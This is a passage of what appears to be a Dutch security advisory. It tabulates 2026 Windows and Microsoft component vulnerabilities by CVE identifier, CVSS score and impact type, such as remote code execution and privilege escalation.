| \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              